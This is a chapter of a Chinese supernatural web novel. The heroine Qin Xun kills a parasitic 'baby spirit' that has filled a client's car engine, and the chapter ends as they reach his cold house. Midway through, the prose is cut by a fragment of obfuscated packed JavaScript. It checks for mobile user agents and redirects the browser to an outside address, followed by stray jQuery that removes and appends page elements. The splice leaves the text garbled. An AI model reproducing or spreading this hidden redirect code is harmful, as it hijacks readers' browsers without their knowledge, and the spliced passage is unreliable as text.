秦熏瞧了眼他额角冒出的冷汗和惨白面色,心里暗暗嘀咕,这人怎么一副活见鬼的样子? “喂……”她开口,刚准备问上一句,陈发突然猛踩刹车。 车辆猛地往前一窜,急停在路旁,秦熏扶住前座才没一头栽倒,她脸色不太好看:“为什么突然停车?” 得亏这条路很偏,这个点少有车经过,否则这一脚急刹,不得被后面的司机喷死。 陈发张了张嘴,半晌才有些茫然道:“熄火了。”他拧了拧车钥匙,“打不着了。” “哈?”秦熏眉头皱了皱:“怎么回事?” 陈发目光直勾勾盯着车前盖,“那儿……” 秦熏心猛地一跳,车盖缝隙里那往外挤的细条是什么?她脸色变得有些难看。 刚才回头看时,后备箱里的尸体已经不见了,只有一圈隐约可见的人侧身蜷缩的痕迹,她以为是由于控制尸体的根妖离体,尸体自然就消失了,万一……不是呢? 她迅速拉开车门下车,瞧了瞧驾驶座窗子,“打开车前盖。” 陈发犹豫片刻,依言照做。 秦熏倒吸了一口凉气——车前盖内的车体部件此时居然被一团团肉一样的东西取代,它们塞满了整个车前盖区域,像在呼吸一样,缓缓起伏。 肉里扒拉出一只畸形的小手,刚才在缝隙里摸索抠挠的就是这东西。 手撑在肉团上用力,撑出一个血糊糊的脑袋,接着是完整的身体,大概只有成人小臂那么长,是婴儿的体型。 秦熏当机立断,猛地合上车前盖,但那东西速度更快,它猛地扑上车前风挡,血糊糊的脸和陈发只隔了一层玻璃。 啪地一声脆响,玻璃四分五裂,怪物的手指突破阻碍,在玻璃表面撕开一个大口。 陈发似乎彻底宕机了,愣愣坐在驾驶座,一动不动。 “发什么呆?!”秦熏一脚踹飞即将扑到陈发面上的怪物,哐哐砸了两下车窗,“还不赶紧下车!” 要是这人现在死在这里,这桩委托还没开始可就失败了。 陈发嘴唇小幅蠕动,急急忙忙打开车门,秦熏刚要拽着他离开,他却拂开秦熏的手,大步冲向那只被踹进草丛里的婴体怪物。 “你活腻了?”秦熏一把扯住他的后领,这么一会儿功夫,那只怪物又扑了过来。 陈发也不知哪来的力气,居然挣脱了她的控制,张开手臂迎了上去,如获至宝般紧紧揽着那一团血糊糊的东西。 “爸爸……” 秦熏探出去准备攻击的丝线蓦地顿住,面色霎时怪异无比。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044820|146249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >是她的幻觉吗,这怪物刚才是不是开口说话了? 陈发搂得更紧了,“爸爸在这儿。” 秦熏:“……” 这什么情况?这不太对劲吧?她紧紧盯着眼前这和畸形肉团深情相拥的陈发,神情愈发凝重。 那个肉团正在长大,几分钟前还是新生儿体型,现在已经快能站起来了。 她忽然记起来了。 她那本日记上记录过类似的怪物——婴灵。 婴灵吸食人类情绪成长,与被吸食者间会建立畸形的寄生(亲子)关系,使得宿主对婴灵产生庇护本能,一直供养到婴灵成年。 成年婴灵表面看上去和人类无异,食物则会从无形的情绪变成有形的血肉,慢慢吃光宿主身边的人。 宿主死亡时,它们会退化回婴体阶段,潜伏在尸体中,等待尸体周边出现情绪波动强烈的人,这便是它们选中的新宿主。 她有些头痛,恐怕车里那并非是一具单纯被根妖操纵的僵尸,而是精心选好的“埋了雷”的尸体,一旦根妖离体,就轮到婴灵登场了,一尸两用,这未免太精打细算。 眼看肉团即将长到小学生体型,秦熏不再犹豫,直接用丝线操控了陈发,令他心情保持平静,断开给婴灵的情绪供给。 婴灵依稀可见人形的脸上出现一丝困惑,却还是趴在陈发怀里没动。 秦熏心下了然,果如她日记里记录的那样,婴灵认准宿主后不会更改,除非宿主死亡。 婴灵没有灵魂,无法操控,要想杀死它们,最简单粗暴的手段当然是连带着宿主一起杀了,然后趁他们没能找到下一任宿主,烧了尸体;但想也不用想,哪怕是看在那一小袋金子的份上,秦熏都不会选择这个方式。 而其他的方法嘛。说简单简单,说难很难——只要宿主一直没有情绪波动,以宿主情绪为食的婴灵就会在成年前先饿死。 没有情绪,对人类而言无异于天方夜谭,但对被秦熏控制的“提线木偶”,却是小菜一碟。 正如婴灵骇人的成长速度,它的死亡也来得很迅速,仅仅几分钟,它的身体就开始萎缩。 小巧突然凑到秦熏身边:“秦姐,你想杀了它?” 秦熏一顿:“不行吗?” “我觉得有点危险。”小巧看不出表情的头部似乎透着几分忧虑:“如果只是帮忙盯着也就算了,但您现在选择对他们派来的东西动手,日后会不会被他们报复?” “他们?”秦熏问它,“你指柳湘说的那些狩猎修行者的存在?” “嗯。”小巧忧心忡忡:“听上去很麻烦的样子。” 秦熏无甚所谓道:“既然选择做这一行,那就少不了得罪人了。” 既然在柳湘眼里,她也能被定义成修行者,那对于那些人而言,她也迟早会被当成狩猎对象,不过是早一天晚一天的差别。 选择答应这项委托,不仅仅是因为柳湘给的报酬,更是因为她需要搭上柳湘这条线。 柳湘给出的“修行者”线索很是关键,她或许能凭此窥见这个古怪世界更多的秘密,为此,她愿意付出一些代价。 小巧听懂了她的潜台词:“我明白了。” 随着婴灵死亡,化作飞灰,那些塞满了车前盖的肉块也消失了,两人重新上车。 车辆驶离这篇僻静地,重回马路,好在离陈发家已经不远,虽然车窗玻璃已经破得不像话,还是勉强撑过了这段路。 十五分钟后,两人抵达陈发家门口,果如他所言,门口的地毯边依稀可见纸灰痕迹,地板上也有几块凝固了的暗色烛油。 陈发在她的指示下开了门。 秦熏蓦地拧紧眉头,这里面,好冷啊。